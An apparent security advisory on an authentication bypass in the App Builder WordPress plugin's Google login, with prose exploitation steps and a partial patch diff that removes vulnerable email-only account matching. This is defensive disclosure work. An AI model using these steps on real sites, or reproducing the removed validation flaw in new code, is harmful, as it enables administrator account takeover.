Published : November 25, 2026

CVE-2026-103886: App Builder <= 5.7.1 Unauthenticated Authentication Bypass via Google ID Token Audience Validation Bypass PoC, Patch Analysis & Rule

Plugin app-builder
Severity High (CVSS 8.1)
CWE 287
Vulnerable Version 5.7.1
Patched Version 5.7.2
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-103886: The App Builder plugin (versions up to 5.7.1) contains an authentication bypass in its Google login flow. The REST endpoint `/app-builder/v1/login` accepts a Google ID token and issues a signed App Builder JWT without properly validating the token’s audience or binding it to the target site’s OAuth client. This allows an unauthenticated attacker to impersonate any existing WordPress user by supplying a Google ID token from an unrelated OAuth client that carries the victim’s email address. The vulnerability has a CVSS score of 8.1 (High) and CWE-287 (Improper Authentication).

Root Cause: The vulnerability stems from multiple flaws in `LoginGoogle::login()` within `app-builder/includes/Di/Service/Auth/Login/LoginGoogle.php`. First, the function decodes the Google ID token via the `/tokeninfo` endpoint but never validates the `aud` (audience) claim against the site’s own OAuth client IDs. Second, it fails to verify the `email_verified` claim, allowing unverified email addresses to be trusted. Third, it resolves WordPress accounts solely by the email claim (`get_user_by(’email’, $email)`) without binding the account to the Google `sub` (subject) identifier, meaning any Google token with a matching email grants access. Fourth, the REST endpoint `/app-builder/v1/login` is registered with a `permission_callback` that unconditionally returns `true`, making it reachable by unauthenticated attackers. The patch introduces `SocialLoginTrait` to enforce audience validation, subject binding, and email verification, and adds settings for allowed client IDs.

Exploitation: An attacker can exploit this by first obtaining a valid Google-signed ID token that contains the victim’s email address. The attacker can operate a separate Google OAuth client (e.g., a malicious app) and induce the victim to authenticate through it, thereby obtaining an ID token with the victim’s email. Alternatively, if the attacker knows the victim’s email, they can craft a token using any Google OAuth client that they control, as the plugin does not validate the audience. The attacker then sends a POST request to `/wp-json/app-builder/v1/login` with the `idToken` parameter set to the obtained token. The plugin’s `LoginGoogle::login()` will decode the token, extract the email, find the corresponding WordPress user (e.g., an administrator), and issue a signed App Builder JWT granting full privileges. The attack requires no authentication and can be executed remotely.

Patch Analysis: The patch (version 5.7.2) adds comprehensive validation in `LoginGoogle::login()`. It now checks the token issuer against `accounts.google.com` or `https://accounts.google.com`, validates the `aud` claim against a list of allowed client IDs retrieved from the `login_google` feature settings, verifies the `exp` (expiration) claim, ensures the `sub` claim exists, and checks that `email_verified` is true. The patch also introduces a `SocialLoginTrait` that provides methods for audience checking, subject lookup, and binding. The login flow now first searches for a user by the Google `sub` (stored in user meta) and only falls back to email linking if the email is verified and not already bound to a different subject. The REST endpoint’s `permission_callback` is not shown in the diff, but the addition of feature settings and validation implies that unauthenticated access is restricted. The patch effectively closes the bypass by requiring tokens to be issued for the site’s own OAuth clients and by binding accounts to the Google subject identifier.

Impact: Successful exploitation allows an unauthenticated attacker to authenticate as any existing WordPress user, including administrators. This leads to full privilege escalation, enabling the attacker to take over the site, install malicious plugins, modify content, exfiltrate sensitive data, and potentially achieve remote code execution. The vulnerability poses a critical risk to sites using the App Builder plugin with Google login enabled.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/app-builder/app-builder.php
+++ b/app-builder/app-builder.php
@@ -10,7 +10,7 @@
  * Plugin Name:       App Builder - Create Native Android & iOS Apps On The Flight
  * Plugin URI:        https://appcheap.io/docs
  * Description:       The App Builder has it all: drag and drop mobile app, power and control over your app. Get started now!.
- * Version:           5.7.1
+ * Version:           5.7.2
  * Author:            Appcheap.io
  * License:           GPL-2.0-or-later
  * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
--- a/app-builder/includes/Classs/PublicKey.php
+++ b/app-builder/includes/Classs/PublicKey.php
@@ -114,6 +114,14 @@
 		$modulus        = JWT::urlsafeB64Decode( $n );
 		$publicExponent = JWT::urlsafeB64Decode( $e );

+		// DER INTEGERs are signed: add a leading zero byte when the high bit is set, or strict OpenSSL rejects the key.
+		if ( '' !== $modulus && ord( $modulus[0] ) > 0x7f ) {
+			$modulus = "" . $modulus;
+		}
+		if ( '' !== $publicExponent && ord( $publicExponent[0] ) > 0x7f ) {
+			$publicExponent = "" . $publicExponent;
+		}
+
 		$components = array(
 			'modulus'        => pack( 'Ca*a*', 2, self::encodeLength( strlen( $modulus ) ), $modulus ),
 			'publicExponent' => pack( 'Ca*a*', 2, self::encodeLength( strlen( $publicExponent ) ), $publicExponent ),
--- a/app-builder/includes/Di/Service/Auth/Login/LoginApple.php
+++ b/app-builder/includes/Di/Service/Auth/Login/LoginApple.php
@@ -10,6 +10,7 @@
 use FirebaseJWTKey;
 use AppBuilderDiAppHttpHttpClientInterface;
 use AppBuilderClasssPublicKey;
+use AppBuilderTraitsFeature;

 /**
  * LoginApple class.
@@ -19,6 +20,16 @@
  * @author     ngocdt
  */
 class LoginApple implements LoginInterface {
+	use Feature;
+	use SocialLoginTrait;
+
+	/**
+	 * Apple ID token issuer.
+	 *
+	 * @var string
+	 */
+	const ISSUER = 'https://appleid.apple.com';
+
 	/**
 	 * Http client.
 	 *
@@ -43,6 +54,40 @@
 	 * @return Wp_User|WP_Error Response object.
 	 */
 	public function login( WP_REST_Request $request ) {
+		$settings = app_builder()->get( 'settings' )->feature( 'login_apple' );
+
+		if ( ! $this->is_feature_enabled( $settings, true ) ) {
+			return new WP_Error(
+				'login_apple_error',
+				__( 'Login with Apple is not enabled.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
+		/**
+		 * Filter the Apple client IDs (app Bundle IDs and Services IDs) whose identity tokens this site accepts.
+		 *
+		 * @param string[] $client_ids Client IDs from the Login Apple feature settings.
+		 */
+		$client_ids = $this->parse_client_ids(
+			apply_filters(
+				'app_builder_apple_client_ids',
+				$this->parse_client_ids( isset( $settings['client_ids'] ) ? $settings['client_ids'] : '' )
+			)
+		);
+
+		if ( empty( $client_ids ) ) {
+			return new WP_Error(
+				'login_apple_error',
+				__( 'Login with Apple is not configured. Add your app Bundle ID in the Login Apple feature settings.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
 		try {
 			$identity_token = $request->get_param( 'identityToken' );
 			$user_identity  = $request->get_param( 'userIdentifier' );
@@ -50,6 +95,10 @@
 			$family_name    = $request->get_param( 'familyName' );
 			$role           = $request->get_param( 'role' );

+			if ( ! is_string( $identity_token ) ) {
+				$identity_token = '';
+			}
+
 			$tks = explode( '.', $identity_token );
 			if ( count( $tks ) !== 3 ) {
 				return new WP_Error(
@@ -91,7 +140,31 @@

 			$payload = JWT::decode( $identity_token, new Key( $public_key, $alg ) );

-			if ( $payload->sub !== $user_identity ) {
+			// The token must be issued by Apple.
+			if ( ! isset( $payload->iss ) || self::ISSUER !== $payload->iss ) {
+				return new WP_Error(
+					'login_apple_error',
+					__( 'The Apple identity token issuer is invalid.', 'app-builder' ),
+					array(
+						'status' => 401,
+					)
+				);
+			}
+
+			// The token must be issued to one of this site's own apps.
+			if ( ! isset( $payload->aud ) || ! $this->is_audience_allowed( $payload->aud, $client_ids ) ) {
+				return new WP_Error(
+					'login_apple_error',
+					__( 'The Apple identity token was not issued for this app.', 'app-builder' ),
+					array(
+						'status' => 401,
+					)
+				);
+			}
+
+			$subject = isset( $payload->sub ) && is_scalar( $payload->sub ) ? (string) $payload->sub : '';
+
+			if ( '' === $subject || $subject !== $user_identity ) {
 				return new WP_Error(
 					'validate-user',
 					__( 'User not validate', 'app-builder' ),
@@ -101,14 +174,36 @@
 				);
 			}

-			// User already exist in database with Email.
-			$user = get_user_by( 'email', $payload->email );
+			// Apple may omit the email; only use it when Apple marks it verified.
+			$email = '';
+			if ( isset( $payload->email ) && is_string( $payload->email ) && is_email( $payload->email ) ) {
+				if ( ! isset( $payload->email_verified ) || ! $this->is_true_claim( $payload->email_verified ) ) {
+					return new WP_Error(
+						'login_apple_error',
+						__( 'The Apple account email is not verified.', 'app-builder' ),
+						array(
+							'status' => 403,
+						)
+					);
+				}
+				$email = $payload->email;
+			}
+
+			// Returning user, matched by the Apple subject.
+			$user = $this->find_user_by_subject( 'apple', $subject );
+			if ( $user ) {
+				return $user;
+			}
+
+			// User registered by an earlier version, which used the Apple subject as the login.
+			$user = get_user_by( 'login', $subject );
 			if ( $user ) {
+				$this->bind_subject( $user->ID, 'apple', $subject );
 				return $user;
 			}

-			// User already exist in database with user Identity.
-			$user = get_user_by( 'login', $payload->sub );
+			// Existing account with this verified email: bind it to the Apple subject.
+			$user = $this->link_user_by_email( 'apple', $subject, $email );
 			if ( $user ) {
 				return $user;
 			}
@@ -116,8 +211,8 @@
 			// Register new user.
 			$userdata = array(
 				'user_pass'    => wp_generate_password(),
-				'user_login'   => $payload->sub,
-				'user_email'   => $payload->email,
+				'user_login'   => $subject,
+				'user_email'   => $email,
 				'display_name' => $given_name,
 				'first_name'   => $family_name,
 				'last_name'    => $given_name,
@@ -140,6 +235,8 @@

 			$user = get_user_by( 'id', $user_id );

+			$this->bind_subject( $user_id, 'apple', $subject );
+
 			/**
 			 * Add user meta for login type.
 			 */
--- a/app-builder/includes/Di/Service/Auth/Login/LoginFacebook.php
+++ b/app-builder/includes/Di/Service/Auth/Login/LoginFacebook.php
@@ -20,6 +20,7 @@
  */
 class LoginFacebook implements LoginInterface {
 	use Feature;
+	use SocialLoginTrait;

 	/**
 	 * Http client.
@@ -78,13 +79,24 @@
 		if ( $access_token_type === 'LimitedToken' ) {
 			$body = $this->verifyOIDCToken( $access_token, $nonce, $settings );
 		} else {
-            $body = $this->verifyClassicToken( $access_token, $facebook_user_id );
+            $body = $this->verifyClassicToken( $access_token, $facebook_user_id, $settings );
 		}

 		if ( is_wp_error( $body ) ) {
 			return $body;
 		}

+		$subject = isset( $body['id'] ) && is_scalar( $body['id'] ) ? (string) $body['id'] : '';
+		if ( '' === $subject ) {
+			return new WP_Error(
+				'login_facebook_error',
+				__( 'Facebook user id is missing.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
 		// User data.
 		$email      = $body['email'];
 		$id         = $body['id'];
@@ -103,9 +115,14 @@
 			);
 		}

-		$user = get_user_by( 'email', $email );
+		// Returning user, matched by the Facebook user id.
+		$user = $this->find_user_by_subject( 'facebook', $subject );
+		if ( $user ) {
+			return $user;
+		}

-		// Return data if user exist in database.
+		// Existing account with this email: bind it to the Facebook user id.
+		$user = $this->link_user_by_email( 'facebook', $subject, $email );
 		if ( $user ) {
 			return $user;
 		}
@@ -130,6 +147,7 @@
 		// Get user.
 		$user = get_user_by( 'id', $user_id );

+		$this->bind_subject( $user_id, 'facebook', $subject );
 		add_user_meta( $user_id, 'app_builder_login_type', 'facebook', true );
 		add_user_meta( $user_id, 'app_builder_login_avatar', $picture, true );

@@ -141,17 +159,80 @@
      *
      * @param string $access_token Access token.
      * @param string $facebook_user_id Facebook user id.
+     * @param array  $settings Settings.
      *
      * @return array|WP_Error
      */
-	private function verifyClassicToken( $access_token, $facebook_user_id ) {
+	private function verifyClassicToken( $access_token, $facebook_user_id, $settings ) {
+		$app_id     = isset( $settings['app_id'] ) && is_scalar( $settings['app_id'] ) ? trim( (string) $settings['app_id'] ) : '';
+		$app_secret = isset( $settings['app_secret'] ) && is_scalar( $settings['app_secret'] ) ? trim( (string) $settings['app_secret'] ) : '';
+
+		if ( '' === $app_id || '' === $app_secret ) {
+			return new WP_Error(
+				'login_facebook_error',
+				__( 'Login with Facebook is not configured. Add your Facebook App ID and App Secret in the Login Facebook feature settings.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
+		if ( ! is_string( $access_token ) || ! is_scalar( $facebook_user_id ) || ! ctype_digit( (string) $facebook_user_id ) ) {
+			return new WP_Error(
+				'login_facebook_error',
+				__( 'Invalid Facebook token or user id.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
+		// The access token must be valid, issued to this site's Facebook app, and belong to the claimed user.
+		$debug_url = add_query_arg(
+			array(
+				'input_token'  => rawurlencode( $access_token ),
+				'access_token' => rawurlencode( $app_id . '|' . $app_secret ),
+			),
+			'https://graph.facebook.com/debug_token'
+		);
+
+		$debug_response = $this->http_client->get( $debug_url );
+
+		if ( is_wp_error( $debug_response ) ) {
+			return new WP_Error(
+				'login_facebook_error',
+				$debug_response->get_error_message(),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
+		$debug = json_decode( wp_remote_retrieve_body( $debug_response ), true );
+		$data  = is_array( $debug ) && isset( $debug['data'] ) && is_array( $debug['data'] ) ? $debug['data'] : array();
+
+		if (
+			empty( $data['is_valid'] ) ||
+			! isset( $data['app_id'] ) || (string) $data['app_id'] !== $app_id ||
+			! isset( $data['user_id'] ) || (string) $data['user_id'] !== (string) $facebook_user_id
+		) {
+			return new WP_Error(
+				'login_facebook_error',
+				__( 'The Facebook access token was not issued for this app.', 'app-builder' ),
+				array(
+					'status' => 401,
+				)
+			);
+		}
+
 		$grap_api = 'https://graph.facebook.com/' . $facebook_user_id;

 		// Add params to grap api.
 		$grap_api = add_query_arg(
 			array(
-				'fields'       => 'id,first_name,last_name,name,picture,email',
-				'access_token' => $access_token,
+				'fields'          => 'id,first_name,last_name,name,picture,email',
+				'access_token'    => rawurlencode( $access_token ),
+				'appsecret_proof' => hash_hmac( 'sha256', $access_token, $app_secret ),
 			),
 			$grap_api
 		);
@@ -182,12 +263,22 @@
 			);
 		}

+		if ( ! is_array( $body ) || ! isset( $body['id'] ) || (string) $body['id'] !== (string) $facebook_user_id ) {
+			return new WP_Error(
+				'login_facebook_error',
+				__( 'Could not read the Facebook profile.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
 		// User data.
-		$email      = $body['email'];
+		$email      = isset( $body['email'] ) ? $body['email'] : '';
 		$id         = $body['id'];
-		$first_name = $body['first_name'];
-		$last_name  = $body['last_name'];
-		$name       = $body['name'];
+		$first_name = isset( $body['first_name'] ) ? $body['first_name'] : '';
+		$last_name  = isset( $body['last_name'] ) ? $body['last_name'] : '';
+		$name       = isset( $body['name'] ) ? $body['name'] : '';
 		$picture    = isset( $body['picture']['data']['url'] ) ? $body['picture']['data']['url'] : '';
 		return array(
 			'email'      => $email,
--- a/app-builder/includes/Di/Service/Auth/Login/LoginGoogle.php
+++ b/app-builder/includes/Di/Service/Auth/Login/LoginGoogle.php
@@ -6,6 +6,7 @@
 use WP_User;
 use WP_Error;
 use AppBuilderDiAppHttpHttpClientInterface;
+use AppBuilderTraitsFeature;

 /**
  * LoginGoogle class.
@@ -15,6 +16,16 @@
  * @author     ngocdt
  */
 class LoginGoogle implements LoginInterface {
+	use Feature;
+	use SocialLoginTrait;
+
+	/**
+	 * Accepted Google ID token issuers.
+	 *
+	 * @var string[]
+	 */
+	const ISSUERS = array( 'accounts.google.com', 'https://accounts.google.com' );
+
 	/**
 	 * Http client.
 	 *
@@ -39,70 +50,106 @@
 	 * @return Wp_User|WP_Error Response object.
 	 */
 	public function login( WP_REST_Request $request ) {
+		$settings = app_builder()->get( 'settings' )->feature( 'login_google' );
+
+		if ( ! $this->is_feature_enabled( $settings, true ) ) {
+			return $this->error( __( 'Login with Google is not enabled.', 'app-builder' ), 403 );
+		}
+
+		/**
+		 * Filter the Google OAuth client IDs whose ID tokens this site accepts.
+		 *
+		 * @param string[] $client_ids Client IDs from the Login Google feature settings.
+		 */
+		$client_ids = $this->parse_client_ids(
+			apply_filters(
+				'app_builder_google_client_ids',
+				$this->parse_client_ids( isset( $settings['client_ids'] ) ? $settings['client_ids'] : '' )
+			)
+		);
+
+		if ( empty( $client_ids ) ) {
+			return $this->error( __( 'Login with Google is not configured. Add your Google OAuth client IDs in the Login Google feature settings.', 'app-builder' ), 403 );
+		}
+
 		$id_token = $request->get_param( 'idToken' );
 		$role     = $request->get_param( 'role' );

+		if ( ! is_string( $id_token ) || '' === $id_token ) {
+			return $this->error( __( 'Google ID token is required.', 'app-builder' ), 400 );
+		}
+
 		$url = add_query_arg(
 			array(
-				'id_token' => $id_token,
+				'id_token' => rawurlencode( $id_token ),
 			),
 			'https://oauth2.googleapis.com/tokeninfo'
 		);

 		$response = $this->http_client->get( $url );

-		if ( is_wp_error( $response ) ) {
-			return new WP_Error(
-				'login_google_error',
-				__( 'Get Firebase user info error!', 'app-builder' ),
-				array(
-					'status' => 400,
-				)
-			);
-		}
-
-		$body   = wp_remote_retrieve_body( $response );
-		$result = json_decode( $body );
-
-		if ( false === $result ) {
-			return new WP_Error(
-				'login_google_error',
-				__( 'Get Firebase user info error!', 'app-builder' ),
-				array(
-					'status' => 400,
-				)
-			);
-		}
-
-		// Email not exist.
-		$email = $result->email;
-		if ( ! $email ) {
-			return new WP_Error(
-				'login_google_error',
-				__( 'User not provider email', 'app-builder' ),
-				array(
-					'status' => 403,
-				)
-			);
+		if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
+			return $this->error( __( 'Could not verify the Google ID token.', 'app-builder' ), 403 );
+		}
+
+		$result = json_decode( wp_remote_retrieve_body( $response ) );
+
+		if ( ! is_object( $result ) || isset( $result->error ) || isset( $result->error_description ) ) {
+			return $this->error( __( 'Could not verify the Google ID token.', 'app-builder' ), 403 );
+		}
+
+		// The token must be issued by Google.
+		if ( ! isset( $result->iss ) || ! in_array( $result->iss, self::ISSUERS, true ) ) {
+			return $this->error( __( 'The Google ID token issuer is invalid.', 'app-builder' ), 401 );
+		}
+
+		// The token must be issued to one of this site's own OAuth clients.
+		if ( ! isset( $result->aud ) || ! $this->is_audience_allowed( $result->aud, $client_ids ) ) {
+			return $this->error( __( 'The Google ID token was not issued for this app.', 'app-builder' ), 401 );
 		}

-		$user = get_user_by( 'email', $email );
+		if ( ! isset( $result->exp ) || (int) $result->exp < time() ) {
+			return $this->error( __( 'The Google ID token has expired.', 'app-builder' ), 401 );
+		}
+
+		$subject = isset( $result->sub ) && is_scalar( $result->sub ) ? (string) $result->sub : '';
+		if ( '' === $subject ) {
+			return $this->error( __( 'The Google ID token has no subject.', 'app-builder' ), 401 );
+		}
+
+		$email = isset( $result->email ) && is_string( $result->email ) ? $result->email : '';
+		if ( ! is_email( $email ) ) {
+			return $this->error( __( 'User not provider email', 'app-builder' ), 403 );
+		}
+
+		if ( ! isset( $result->email_verified ) || ! $this->is_true_claim( $result->email_verified ) ) {
+			return $this->error( __( 'The Google account email is not verified.', 'app-builder' ), 403 );
+		}
+
+		// Returning user, matched by the Google subject.
+		$user = $this->find_user_by_subject( 'google', $subject );
+		if ( $user ) {
+			return $user;
+		}

-		// Response if the email already exis in database.
+		// Existing account with this verified email: bind it to the Google subject.
+		$user = $this->link_user_by_email( 'google', $subject, $email );
 		if ( $user ) {
 			return $user;
 		}

+		$name = isset( $result->name ) && is_string( $result->name ) ? sanitize_text_field( $result->name ) : '';
+
 		// Insert new user.
 		$user_id = wp_insert_user(
 			array(
-				'user_login'    => $result->email,
+				'user_login'    => $email,
 				'user_pass'     => wp_generate_password(),
-				'user_nicename' => $result->name,
-				'user_email'    => $result->email,
-				'display_name'  => $result->name,
-				'first_name'    => $result->given_name,
-				'last_name'     => $result->family_name,
+				'user_nicename' => $name,
+				'user_email'    => $email,
+				'display_name'  => $name,
+				'first_name'    => isset( $result->given_name ) && is_string( $result->given_name ) ? sanitize_text_field( $result->given_name ) : '',
+				'last_name'     => isset( $result->family_name ) && is_string( $result->family_name ) ? sanitize_text_field( $result->family_name ) : '',
 				'role'          => $role,
 			)
 		);
@@ -113,9 +160,30 @@

 		$user = get_user_by( 'id', $user_id );

+		$this->bind_subject( $user_id, 'google', $subject );
 		add_user_meta( $user_id, 'app_builder_login_type', 'google', true );
-		add_user_meta( $user_id, 'app_builder_login_avatar', $result->picture, true );
+		if ( isset( $result->picture ) && is_string( $result->picture ) ) {
+			add_user_meta( $user_id, 'app_builder_login_avatar', esc_url_raw( $result->picture ), true );
+		}

 		return $user;
 	}
+
+	/**
+	 * Build a login error.
+	 *
+	 * @param string $message Message.
+	 * @param int    $status  HTTP status.
+	 *
+	 * @return WP_Error
+	 */
+	private function error( $message, $status ) {
+		return new WP_Error(
+			'login_google_error',
+			$message,
+			array(
+				'status' => $status,
+			)
+		);
+	}
 }
--- a/app-builder/includes/Di/Service/Auth/Login/SocialLoginTrait.php
+++ b/app-builder/includes/Di/Service/Auth/Login/SocialLoginTrait.php
@@ -0,0 +1,175 @@
+<?php
+
+namespace AppBuilderDiServiceAuthLogin;
+
+defined( 'ABSPATH' ) || exit;
+
+use WP_User;
+use WP_Error;
+use AppBuilderClasssRawQuery;
+
+/**
+ * Shared checks for social (identity provider) logins.
+ *
+ * A provider token proves who the person is only when it was issued to this
+ * site's own app (audience) and the account is matched by the provider's
+ * stable subject identifier, not by email alone.
+ *
+ * @link       https://appcheap.io
+ * @since      5.7.2
+ * @author     ngocdt
+ */
+trait SocialLoginTrait {
+
+	/**
+	 * Turn a client ID setting (newline, comma or space separated string, or array) into a list.
+	 *
+	 * @param mixed $value Setting value.
+	 *
+	 * @return string[]
+	 */
+	protected function parse_client_ids( $value ) {
+		if ( is_string( $value ) ) {
+			$value = preg_split( '/[s,]+/', $value );
+		}
+
+		if ( ! is_array( $value ) ) {
+			return array();
+		}
+
+		$ids = array();
+		foreach ( $value as $id ) {
+			if ( ! is_string( $id ) ) {
+				continue;
+			}
+			$id = trim( $id );
+			if ( '' !== $id ) {
+				$ids[] = $id;
+			}
+		}
+
+		return array_values( array_unique( $ids ) );
+	}
+
+	/**
+	 * Check that a token audience matches one of the allowed client IDs.
+	 *
+	 * @param mixed    $aud     The token "aud" claim (string or array).
+	 * @param string[] $allowed Allowed client IDs.
+	 *
+	 * @return bool
+	 */
+	protected function is_audience_allowed( $aud, array $allowed ) {
+		if ( empty( $allowed ) ) {
+			return false;
+		}
+
+		$audiences = is_array( $aud ) ? $aud : array( $aud );
+		foreach ( $audiences as $audience ) {
+			if ( is_string( $audience ) && in_array( $audience, $allowed, true ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Read a boolean claim that providers send as either a bool or the string "true".
+	 *
+	 * @param mixed $value Claim value.
+	 *
+	 * @return bool
+	 */
+	protected function is_true_claim( $value ) {
+		return true === $value || 'true' === $value;
+	}
+
+	/**
+	 * Meta key that stores the provider subject for a user.
+	 *
+	 * @param string $provider Provider name.
+	 *
+	 * @return string
+	 */
+	protected function social_subject_meta_key( $provider ) {
+		return 'app_builder_' . $provider . '_sub';
+	}
+
+	/**
+	 * Find the user already bound to this provider subject.
+	 *
+	 * @param string $provider Provider name.
+	 * @param string $subject  Provider subject ("sub" / user id).
+	 *
+	 * @return WP_User|null
+	 */
+	protected function find_user_by_subject( $provider, $subject ) {
+		$meta_key = $this->social_subject_meta_key( $provider );
+
+		foreach ( RawQuery::get_user_ids_by_meta( $meta_key, $subject ) as $user_id ) {
+			$user = get_user_by( 'id', (int) $user_id );
+			// Re-check the stored value: the lookup is cached and sanitized.
+			if ( $user && get_user_meta( $user->ID, $meta_key, true ) === $subject ) {
+				return $user;
+			}
+		}
+
+		return null;
+	}
+
+	/**
+	 * Find an existing user by a verified email and bind it to the provider subject.
+	 *
+	 * Refuses when that user is already bound to a different subject of the same provider.
+	 *
+	 * @param string $provider Provider name.
+	 * @param string $subject  Provider subject.
+	 * @param string $email    Verified email from the provider.
+	 *
+	 * @return WP_User|WP_Error|null Null when no user has this email.
+	 */
+	protected function link_user_by_email( $provider, $subject, $email ) {
+		if ( ! is_string( $email ) || ! is_email( $email ) ) {
+			return null;
+		}
+
+		$user = get_user_by( 'email', $email );
+		if ( ! $user ) {
+			return null;
+		}
+
+		$meta_key = $this->social_subject_meta_key( $provider );
+		$bound    = get_user_meta( $user->ID, $meta_key, true );
+
+		if ( '' !== $bound && $bound !== $subject ) {
+			return new WP_Error(
+				'social_login_subject_mismatch',
+				__( 'This account is linked to a different sign-in identity.', 'app-builder' ),
+				array(
+					'status' => 403,
+				)
+			);
+		}
+
+		if ( '' === $bound ) {
+			$this->bind_subject( $user->ID, $provider, $subject );
+		}
+
+		return $user;
+	}
+
+	/**
+	 * Store the provider subject on a user.
+	 *
+	 * @param int    $user_id  User ID.
+	 * @param string $provider Provider name.
+	 * @param string $subject  Provider subject.
+	 *
+	 * @return void
+	 */
+	protected function bind_subject( $user_id, $provider, $subject ) {
+		update_user_meta( $user_id, $this->social_subject_meta_key( $provider ), $subject );
+		wp_cache_delete( 'user_ids_' . md5( sanitize_key( $this->social_subject_meta_key( $provider ) ) . '_' . sanitize_text_field( $subject ) ), 'app_builder_user_ids' );
+	}
+}
--- a/app-builder/includes/Di/Service/Feature/FeatureFactory.php
+++ b/app-builder/includes/Di/Service/Feature/FeatureFactory.php
@@ -48,6 +48,8 @@
 		$this->features    = array(
 			JwtAuthentication::META_KEY        => JwtAuthentication::class,
 			LoginFacebook::META_KEY            => LoginFacebook::class,
+			LoginGoogle::META_KEY              => LoginGoogle::class,
+			LoginApple::META_KEY               => LoginApple::class,
 			LoginFirebasePhoneNumber::META_KEY => LoginFirebasePhoneNumber::class,
 			CustomIconFeature::META_KEY        => CustomIconFeature::class,
 			UpgraderFeature::META_KEY          => UpgraderFeature::class,
--- a/app-builder/includes/Di/Service/Feature/LoginApple.php
+++ b/app-builder/includes/Di/Service/Feature/LoginApple.php
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * The Login With Apple feature class.
+ *
+ * @link       https://appcheap.io
+ * @since      5.7.2
+ * @author     ngocdt
+ * @package    AppBuilder
+ */
+
+namespace AppBuilderDiServiceFeature;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * LoginApple Class.
+ *
+ * Stores the Apple client IDs (Bundle IDs and Services IDs) whose identity tokens the login endpoint accepts.
+ */
+class LoginApple extends SocialLoginFeatureAbstract {
+
+	/**
+	 * Meta key
+	 *
+	 * @var string
+	 */
+	public const META_KEY = 'app_builder_login_apple_settings';
+
+	/**
+	 * Constructor.
+	 */
+	public function __construct() {
+		$this->meta_key         = self::META_KEY;
+		$this->default_settings = array(
+			'status'     => true,
+			'client_ids' => '',
+		);
+	}
+
+	/**
+	 * Label of the client IDs field.
+	 *
+	 * @return string
+	 */
+	protected function client_ids_label() {
+		return 'Apple client IDs';
+	}
+
+	/**
+	 * Hint of the client IDs field.
+	 *
+	 * @return string
+	 */
+	protected function client_ids_hint() {
+		return 'One per line. Add your iOS app Bundle ID, and the Services ID if you use Sign in with Apple on Android or the web. Login with Apple is refused until at least one is set.';
+	}
+}
--- a/app-builder/includes/Di/Service/Feature/LoginGoogle.php
+++ b/app-builder/includes/Di/Service/Feature/LoginGoogle.php
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * The Login With Google feature class.
+ *
+ * @link       https://appcheap.io
+ * @since      5.7.2
+ * @author     ngocdt
+ * @package    AppBuilder
+ */
+
+namespace AppBuilderDiServiceFeature;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * LoginGoogle Class.
+ *
+ * Stores the Google OAuth client IDs whose ID tokens the login endpoint accepts.
+ */
+class LoginGoogle extends SocialLoginFeatureAbstract {
+
+	/**
+	 * Meta key
+	 *
+	 * @var string
+	 */
+	public const META_KEY = 'app_builder_login_google_settings';
+
+	/**
+	 * Constructor.
+	 */
+	public function __construct() {
+		$this->meta_key         = self::META_KEY;
+		$this->default_settings = array(
+			'status'     => true,
+			'client_ids' => '',
+		);
+	}
+
+	/**
+	 * Label of the client IDs field.
+	 *
+	 * @return string
+	 */
+	protected function client_ids_label() {
+		return 'Google OAuth client IDs';
+	}
+
+	/**
+	 * Hint of the client IDs field.
+	 *
+	 * @return string
+	 */
+	protected function client_ids_hint() {
+		return 'One per line. Add every OAuth client ID your app requests Google ID tokens for: the Web (server) client ID, and the iOS client ID if your iOS app does not set a server client ID. Login with Google is refused until at least one is set.';
+	}
+}
--- a/app-builder/includes/Di/Service/Feature/SocialLoginFeatureAbstract.php
+++ b/app-builder/includes/Di/Service/Feature/SocialLoginFeatureAbstract.php
@@ -0,0 +1,126 @@
+<?php
+
+/**
+ * Base class for social login features that hold allowed client IDs.
+ *
+ * @link       https://appcheap.io
+ * @since      5.7.2
+ * @author     ngocdt
+ * @package    AppBuilder
+ */
+
+namespace AppBuilderDiServiceFeature;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * SocialLoginFeatureAbstract Class.
+ */
+abstract class SocialLoginFeatureAbstract extends FeatureAbstract {
+
+	/**
+	 * Label of the client IDs field.
+	 *
+	 * @return string
+	 */
+	abstract protected function client_ids_label();
+
+	/**
+	 * Hint of the client IDs field.
+	 *
+	 * @return string
+	 */
+	abstract protected function client_ids_hint();
+
+	/**
+	 * Register feature activation hooks.
+	 *
+	 * @return void
+	 */
+	public function activation_hooks() {}
+
+	/**
+	 * Register hooks
+	 *
+	 * @return void
+	 */
+	public function register_hooks() {}
+
+	/**
+	 * Get form fields
+	 */
+	public function get_form_fields() {
+		$data = $this->get_data();
+		return array(
+			array(
+				'title'      => 'Enable/Disable',
+				'page'       => 'index',
+				'show_panel' => false,
+				'fields'     => array(
+					array(
+						'name'  => 'status',
+						'label' => 'Enable/Disable',
+						'type'  => 'switch',
+						'value' => isset( $data['status'] ) ? $data['status'] : false,
+					),
+				),
+			),
+			array(
+				'title'  => 'Settings',
+				'page'   => 'index',
+				'fields' => array(
+					array(
+						'name'  => 'client_ids',
+						'label' => $this->client_ids_label(),
+						'hint'  => $this->client_ids_hint(),
+						'type'  => 'textarea',
+						'value' => isset( $data['client_ids'] ) && is_string( $data['client_ids'] ) ? $data['client_ids'] : '',
+					),
+				),
+			),
+		);
+	}
+
+	/**
+	 * Sanitize and save data.
+	 *
